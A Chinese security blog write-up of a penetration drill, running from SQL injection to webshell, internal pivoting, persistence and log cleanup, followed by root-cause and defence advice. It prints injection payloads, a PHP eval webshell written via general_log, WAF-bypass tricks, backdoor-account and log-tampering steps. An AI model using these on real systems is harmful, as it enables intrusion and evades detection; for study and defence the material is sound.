从SQL注入到内网渗透:一次完整的Web安全实战攻防解析

1. 项目概述:一次从注入点到内网的完整穿透

在真实的攻防演练或渗透测试中,SQL注入漏洞往往被看作是“低危”或“中危”的起点,很多人觉得它只能用来拖拖库,拿点后台账号密码。但我想通过这次实战记录告诉你,一个看似普通的SQL注入点,如果利用得当,完全可能成为打穿整个内网的“桥头堡”。这次演练的目标是一个典型的Web应用,我们最终通过一个字符型注入点,不仅拿到了数据库最高权限,还实现了文件写入、获取Webshell,并以此为跳板,横向移动到了内网的核心服务器。整个过程没有使用任何复杂的0day,全是基于对SQL注入原理的深入理解和灵活的利用技巧。如果你是一名安全工程师、红队成员,或者正在学习Web安全,希望这篇从实战出发的复盘笔记,能给你带来一些不一样的思路和启发。

2. 目标侦察与漏洞发现

2.1 信息收集与攻击面梳理

在接到目标资产(假设为 target.com )后,我并没有直接上扫描器狂轰滥炸。第一步永远是冷静地做信息收集。我手动访问了其官网、子域名,并使用了一些被动信息收集工具,初步勾勒出它的技术栈:前端是Vue.js,后端疑似Java(从一些报错页面和URL模式判断),数据库可能是MySQL。在浏览一个产品详情页面时,我注意到一个有趣的URL: https://target.com/product?id=123 。参数 id 看起来像是从数据库查询产品信息的入口,这立刻引起了我的警觉。

为了验证,我尝试了最基础的注入测试: id=123' 。页面返回了一个标准的500内部服务器错误,而不是“产品未找到”之类的业务逻辑错误。这是一个强烈的信号,说明单引号破坏了原有的SQL语句结构,导致语法错误。接着,我测试了 id=123' and '1'='1 id=123' and '1'='2 。前者页面正常显示产品信息,后者页面内容为空或报错。这基本确认了这里存在一个字符型SQL注入漏洞,并且参数值被单引号包裹。

注意:在真实演练中,这种初步探测要非常小心,避免触发WAF(Web应用防火墙)或IDS(入侵检测系统)的规则。我通常会使用时间延迟函数(如MySQL的 sleep() )进行盲注探测,或者通过修改User-Agent等头部,让请求看起来更“正常”。直接加单引号虽然粗暴有效,但容易被封IP。

2.2 手动注入探测与信息提取

确认存在注入点后,我决定先进行手动注入,以更精细地了解后端数据库的结构,并为后续的自动化工具利用铺平道路。

首先,我需要确定注入点的具体位置和列数。我使用了经典的 order by 语句进行探测: id=123' order by 10-- 。不断调整数字,当尝试 order by 5 时页面正常, order by 6 时报错,说明当前查询结果集的列数是5列。

接下来,我需要找到页面上显示数据的位置,以便通过 union select 回显信息。我构造了Payload: id=-123' union select 1,2,3,4,5-- 。这里将原查询的 id 设置为一个不存在的负值,目的是让原查询结果为空,从而使得页面直接显示我们 union select 的内容。果然,页面上的产品名称和描述位置分别被数字“2”和“4”所替代。这意味着第2列和第4列的数据会回显在页面上,是我们输出信息的理想位置。

利用这两个回显点,我开始提取数据库信息:

  1. 当前数据库和用户 id=-123' union select 1, database(), user(), version(),5--
    • 页面上显示当前数据库名为 app_prod ,当前用户为 root@localhost 。看到 root 用户,我心里一沉,这意味着数据库权限极高,为后续利用提供了极大便利。
  2. 获取所有数据库名 id=-123' union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata--
    • 回显了包括 information_schema , mysql , app_prod , internal_admin 等多个数据库名。其中 internal_admin 引起了我的注意,这很可能是一个内部管理系统使用的数据库。

3. 漏洞深度利用与权限提升

3.1 利用SQL注入获取Webshell

仅仅拿到数据还不够,我们的目标是打穿目标。在MySQL高权限(root)且Web应用与数据库同机部署的情况下,通过SQL注入写入Webshell是经典路径。这主要依赖于 SELECT ... INTO OUTFILE 语句。

首先,我需要确定Web应用的绝对路径。通过一些技巧可以获取:

  • 利用加载文件错误 id=123' and load_file('/etc/passwd')-- 尝试读取系统文件,如果成功,说明路径权限可能存在问题,但更常用的是通过报错信息。
  • 通过全局变量 id=-123' union select 1,@@basedir,@@datadir,4,5-- @@datadir 显示了数据库数据存放路径,结合常见的Web目录结构(如 /var/www/html , /usr/local/tomcat/webapps/ROOT ),可以推测Web根目录。

更直接的方法是,如果网站有上传功能但过滤严格,可以尝试通过注入修改上传逻辑或路径。但这里我选择利用数据库的 general_log (通用查询日志)功能。因为当前是root权限,我可以操作任何全局变量。

  1. 开启通用日志并设置日志路径到Web目录: id=123'; SET global general_log = on; SET global general_log_file = '/var/www/html/target/shell.php';--
  2. 执行一个会被记录到日志的查询,该查询内容即为我们的一句话木马: id=123'; SELECT '<?php @eval($_POST[\"cmd\"]);?>';--
  3. 此时,Web目录下就会生成一个 shell.php 文件,其内容包含了我们的PHP代码。访问 https://target.com/target/shell.php 即可使用蚁剑、冰蝎等工具进行连接。

实操心得: INTO OUTFILE 方式需要 secure_file_priv 参数为空且Web目录有写权限,限制较多。而 general_log 技巧在MySQL root权限下成功率更高,因为它利用了MySQL自身的日志机制写入文件,绕过了部分文件系统权限检查。但操作完成后务必记得关闭通用日志并恢复原日志文件路径,以免留下过于明显的痕迹。

3.2 通过Webshell进行内网探测

成功连接Webshell后,我获得了目标Web服务器的一个命令执行环境。首先进行基本的信息收集:

  • whoami / id :查看当前Web服务运行的用户权限(通常是 www-data , apache , tomcat 等)。
  • uname -a :查看操作系统内核版本。
  • ifconfig / ip addr :查看服务器网络配置,获取内网IP段(如 192.168.1.0/24 , 10.10.10.0/24 )。
  • netstat -antp :查看网络连接和监听端口,寻找可能开放的内网服务(如MySQL的3306,Redis的6379,内网管理平台的8080端口等)。
  • 查看Web应用配置文件:寻找数据库连接字符串、Redis密码、其他服务的API密钥等。配置文件路径通常如 /var/www/html/target/config.php , /WEB-INF/classes/application.properties 等。

在这次演练中,我在一个配置文件里发现了连接内网另一台数据库( 192.168.5.101 )的明文密码,并且该密码被复用在了多个地方。这为横向移动提供了关键凭证。

4. 横向移动与权限维持

4.1 数据库提权与横向渗透

虽然我们通过Webshell已经有了一个立足点,但Web服务账户权限通常很低。我们之前获取的数据库root密码(从配置文件中获得)成为了提权的钥匙。

  1. 利用数据库外连 :在MySQL中,如果开启了 secure_file_priv 为空,并且有 FILE 权限,可以通过 SELECT ... INTO DUMPFILE 写入SSH公钥到目标系统的 root 用户的 .ssh/authorized_keys 文件中,从而直接获取服务器root权限。但这里条件不满足。
  2. 利用UDF提权 :这是MySQL提权的经典方法。原理是将一个自定义的共享库(.so或.dll)文件写入插件目录,并通过MySQL创建函数来执行系统命令。步骤繁琐且依赖编译环境,在时间有限的演练中不是首选。
  3. 利用数据库作为跳板 :我选择了更直接的方式。通过Webshell上传一个简单的端口扫描脚本,对内网 192.168.5.0/24 网段进行扫描。发现了 192.168.5.101 (配置文件中的数据库)除了开放3306,还开放了22(SSH)端口。尝试使用配置文件中的密码进行SSH登录,成功!而且登录用户正是 root

4.2 内网信息收集与域渗透(模拟)

拿到内网一台重要服务器的root权限后,真正的内网渗透才开始。我在这台服务器上进行了更深入的信息收集:

  • history :查看命令历史,可能发现管理员的操作习惯和其他服务器信息。
  • cat /etc/hosts :查看主机名解析,发现其他内网主机。
  • ps aux | grep -v grep | grep -E “(ssh|vnc|rdp|telnet)” :查找远程管理进程。
  • 查找敏感文件:如 ~/.bash_history , ~/.ssh/ , /root/*.txt , /home/*/Desktop/* 等。

假设目标网络是一个Windows域环境,我会尝试从这台Linux服务器上寻找可能缓存的域凭证,或者利用它作为跳板,使用 impacket 工具包中的 psexec.py , smbexec.py 等工具,对扫描到的Windows主机进行密码喷洒(Password Spraying)或哈希传递攻击(Pass-the-Hash),特别是使用之前发现的复用密码。

4.3 权限维持与痕迹清理

在取得阶段性成果后,权限维持和清理痕迹非常重要,以免被蓝队迅速发现并反制。

  1. 创建后门账户 :在获取root权限的Linux服务器上,添加一个具有sudo权限的隐藏用户(如用户名包含空格或特殊字符,在 /etc/passwd 中不易察觉)。
  2. 安装Rootkit或SSH后门 :时间充裕可考虑安装如 Diamorphine (内核级rootkit)或修改SSH服务端程序,记录并允许特定密码登录。但在演练中,更常用的是部署一个轻量级的、自启动的反弹Shell脚本或Web后门。
  3. 清理日志 :这是关键步骤。需要清理的日志包括:
    • Web访问日志(如Nginx的 access.log , Apache的 access_log )。
    • 命令历史( ~/.bash_history , 并设置 export HISTSIZE=0 临时禁用当前会话历史记录)。
    • MySQL的通用日志、慢查询日志(如果之前开启过)。
    • 系统认证日志( /var/log/auth.log , /var/log/secure ),删除与我们的IP和操作相关的条目。使用 sed -i 命令进行行删除操作。
    • 最后,使用 touch -r 命令将我们修改过的日志文件时间戳恢复成与周围文件一致,避免通过文件修改时间被识别。

重要注意事项:痕迹清理是一项细致且高风险的工作。在真实的攻防演练中,蓝队通常会部署集中化的日志审计系统(如ELK Stack),日志会实时发送到远程服务器,本地清理无效。因此,更高级的思路是:1. 尽可能使用目标环境已有的合法工具 (如 curl , wget , python , perl )进行后续操作,减少引入新文件。2. 行为模仿 :操作节奏模拟正常用户或管理员,避免在短时间内进行大量高危操作。3. 优先使用内存执行的无文件攻击 ,不留痕迹在磁盘上。

5. 漏洞成因深度分析与防御加固建议

5.1 SQL注入漏洞根源剖析

这次渗透的起点,那个简单的 id 参数注入,其根源在于开发中的经典失误:

  1. 字符串拼接 :后端代码直接使用了字符串拼接的方式来构造SQL语句,例如 String sql = "SELECT * FROM products WHERE id='" + request.getParameter("id") + "'"; 。这是万恶之源。
  2. 缺乏输入验证 :没有对用户输入的 id 参数进行任何有效的过滤或验证,既没有检查是否为纯数字,也没有对特殊字符进行转义。
  3. 错误信息泄露 :最初的单引号触发了详细的数据库错误信息并直接显示给用户,这为攻击者确认漏洞提供了直接反馈。在生产环境中,应使用统一的、模糊的错误页面。
  4. 数据库权限过高 :Web应用使用数据库的root账户进行连接,导致一旦注入成功,攻击者就能获得数据库的完全控制权,进而实施文件读写等高危操作。

5.2 多层次防御方案

防御SQL注入,绝不能只靠一层防护,需要从代码到运维的全链路加固:

1. 代码层(治本之策)

  • 使用预编译语句(Prepared Statements) :这是最有效、最根本的防御手段。无论是Java的 PreparedStatement , Python的 cursor.execute(sql, (param,)) ,还是PHP的PDO预处理,其原理都是将SQL语句的结构(模板)与数据(参数)分开发送给数据库,数据库会严格区分两者,从而从根本上杜绝了数据被解释为代码的可能性。
    // 错误示例:拼接
    String sql = "SELECT * FROM users WHERE username = '" + username + "'";
    // 正确示例:预编译
    String sql = "SELECT * FROM users WHERE username = ?";
    PreparedStatement stmt = connection.prepareStatement(sql);
    stmt.setString(1, username);
    
  • 使用安全的ORM框架 :如MyBatis(需配合 #{} 而非 ${} )、Hibernate、Spring Data JPA等。这些框架底层通常也使用预编译,但需注意其提供的“原生SQL”接口可能绕开安全机制。
  • 严格的输入验证 :在业务逻辑允许的范围内,对输入进行白名单验证。例如, id 参数必须是正整数,可以使用正则表达式 ^[1-9]\d*$ 进行校验,不符合则直接拒绝。

2. 数据库层

  • 最小权限原则 :为Web应用创建专用的数据库账户,并授予其 最小必要权限 。通常只需要 SELECT , INSERT , UPDATE , DELETE 等DML权限,绝对不要授予 FILE , PROCESS , SUPER , GRANT OPTION 等管理权限。连接账户不应是 root
  • 修改默认配置 :设置MySQL的 secure_file_priv 参数为一个指定的、非Web目录的路径,或者直接设置为 NULL ,彻底禁用 LOAD DATA INFILE SELECT ... INTO OUTFILE 功能。

3. 网络与架构层

  • 部署WAF :在Web服务器前端部署Web应用防火墙,可以拦截常见的SQL注入攻击Payload。但WAF是“缓解”措施,而非“根治”方案,可能存在被绕过(如编码绕过、注释绕过)的风险。
  • 定期安全扫描与代码审计 :将SQL注入检测纳入CI/CD流程,使用SAST(静态应用安全测试)工具扫描源代码,使用DAST(动态应用安全测试)工具扫描运行中的应用。
  • 错误处理 :配置自定义错误页面,避免将数据库、服务器、框架的详细错误信息直接返回给客户端。记录详细的错误日志到后端安全分析平台供审计使用。

6. 实战中遇到的典型问题与排查技巧

6.1 注入点探测被WAF拦截

问题 :在初始探测阶段,使用 and 1=1 或单引号等简单Payload时,请求被阻断,返回403或WAF拦截页面。

排查与绕过思路

  1. 大小写混合/随机大小写 AnD 1=1 UNiOn SeLeCt
  2. 使用注释混淆 :SQL注释符( -- , # , /*...*/ )可以拆分关键词。例如: UNION/**/SELECT
  3. 等价函数/语句替换 1=1 可以换成 2>1 , true , ~1=~1 (按位取反)。 and 可以换成 && (在某些数据库中)。
  4. 编码绕过 :对Payload进行URL编码、双重URL编码、十六进制编码。例如,将 SELECT 编码为 %53%45%4c%45%43%54
  5. 参数污染 :提交多个同名参数,如 id=1&id=2' and '1'='1 ,WAF可能只检查第一个,而后端框架(如PHP的 $_GET )可能取最后一个。
  6. 使用非常规HTTP方法 :尝试将GET请求改为POST请求,或者使用PUT、DELETE等方法,WAF的规则集可能不同。
  7. 慢速攻击 :通过多部分表单数据或分块传输编码,极慢地发送请求数据,可能绕过基于流量分析的WAF。

6.2 UNION SELECT注入时页面不回显数据

问题 :确认存在注入, order by 测出列数,但使用 union select 1,2,3... 时,页面没有显示我们预设的数字位,无法确定回显点。

排查与利用思路

  1. 检查Union前后语句的字段类型是否匹配 :原查询可能要求某些字段是字符串类型,而我们用数字导致类型错误。尝试 union select null, null, null... union select 'a','b','c'...
  2. 使用盲注 :如果页面只有“对”和“错”两种状态(布尔盲注),或者响应时间有明显差异(时间盲注),则放弃Union注入,采用盲注策略。
    • 布尔盲注 id=123' and ascii(substr(database(),1,1))>100-- , 通过页面内容是否存在来判断条件真假。
    • 时间盲注 id=123' and if(ascii(substr(database(),1,1))>100, sleep(5), 0)-- , 通过响应延迟来判断。
  3. 利用错误回显注入 :如果数据库错误信息会显示在页面上,可以构造Payload让其将查询结果通过错误信息带出。例如在MySQL中: id=123' and extractvalue(1, concat(0x7e, (select database()),0x7e))-- , 会报错提示“XPATH syntax error: '~app_prod~'”。

6.3 写入Webshell时权限不足

问题 :拥有数据库root权限,但执行 SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php' 时失败,提示权限错误。

排查与解决

  1. 检查 secure_file_priv :执行 SHOW VARIABLES LIKE 'secure_file_priv'; 。如果值不为空,则只能向该指定目录写入。尝试写入该目录,或者(在授权情况下)修改MySQL配置文件( my.cnf )并重启服务(此法在实战中不现实)。
  2. 检查目录写入权限 :即使 secure_file_priv 为空,MySQL进程用户(通常是 mysql )也必须对目标目录有写权限。可以通过Webshell查看目录权限 ls -la /var/www/html/
  3. 换用 general_log 技巧 :如前文所述,这是在高权限下更可靠的写入方式,因为它利用的是MySQL自身的日志功能。
  4. 寻找可写目录 :通过Webshell寻找其他 mysql 用户或 www-data 用户可写的目录,如 /tmp , /var/tmp , 然后尝试通过Web应用的文件包含漏洞去包含这个文件。例如,如果存在LFI漏洞,可以写入一个包含PHP代码的 session 文件或 log 文件,然后去包含它。

6.4 内网横向移动时网络不通

问题 :通过Webshell可以访问外网,但无法ping通或连接发现的内网IP(如 192.168.5.101 )。

排查思路

  1. 确认网络拓扑 :Web服务器可能处于DMZ区,与核心业务区(如 192.168.5.0/24 )之间有防火墙隔离,仅开放了特定的业务端口(如3306)。
  2. 利用已开放端口 :既然能从Web应用连接内网数据库( 192.168.5.101:3306 ),说明这条通路是通的。可以尝试:
    • 端口转发 :在Web服务器上使用 socat , nc rinetd 等工具,将本地一个端口转发到内网目标的其他端口(如SSH的22端口)。例如: socat TCP-LISTEN:2222,fork TCP:192.168.5.101:22 。然后攻击机连接Web服务器的2222端口,流量就会被转发到内网服务器的22端口。
    • 数据库外连 :如果数据库支持外部命令执行(如MySQL的 sys_exec 或通过UDF),可以通过数据库直接发起对内网其他服务的连接或攻击。
  3. 寻找跳板机 :检查Web服务器上是否有其他网络接口( ip addr ),或者是否有到其他网段的路由( route -n )。也许这台服务器本身可以访问多个网络区域。

整个实战过程,从一个小小的ID参数到最终触及内网核心,每一步都充满了与防御措施的对抗和策略选择。SQL注入作为最古老的Web漏洞之一,其危害在当今复杂的网络环境中并未减弱,反而因为能与其他漏洞链式结合而产生更大的破坏力。对于防守方而言,修补它需要从开发规范、权限管理、网络架构到持续监控的全方位投入;对于攻击方(或安全测试者)而言,深入理解其原理和利用技巧,是打开更深层安全大门的必备钥匙。真正的安全,永远建立在对细节的敬畏和持续的学习之上。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值